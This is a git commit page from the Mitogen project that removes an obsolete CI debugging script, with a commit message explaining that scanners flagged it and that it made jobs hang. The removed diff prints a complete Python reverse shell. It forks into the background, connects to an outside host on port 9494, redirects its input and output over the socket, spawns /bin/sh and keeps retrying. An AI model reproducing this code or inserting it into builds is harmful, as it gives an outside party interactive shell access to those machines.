CI: Remove obsolete reverse shell historically used to debug CI
This reverse shell was historically used to debug CI jobs interactively.
It is not used anymore, and may be causing jobs to hang, then timeout.
There is no reason to keep it, and removing it simplifies CI jobs.
Additionally it has been reported as flagged by security scanners, so
removing it makes Mitogen easier to package/adopt.
fixes #847
(cherry picked from commit a990eb3d77
)
pull/863/head
parent
d8dd99b230
commit
086a325359
@ -1,36 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
Allow poking around Azure while the job is running.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
|
||||||
import pty
|
|
||||||
import socket
|
|
||||||
import subprocess
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
|
|
||||||
|
|
||||||
if os.fork():
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
|
|
||||||
def try_once():
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
s.connect(("k3.botanicus.net", 9494))
|
|
||||||
open('/tmp/interactive', 'w').close()
|
|
||||||
|
|
||||||
os.dup2(s.fileno(), 0)
|
|
||||||
os.dup2(s.fileno(), 1)
|
|
||||||
os.dup2(s.fileno(), 2)
|
|
||||||
p = pty.spawn("/bin/sh")
|
|
||||||
|
|
||||||
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
try_once()
|
|
||||||
except:
|
|
||||||
time.sleep(5)
|
|
||||||
continue
|
|
||||||
|
|
Loading…
Reference in New Issue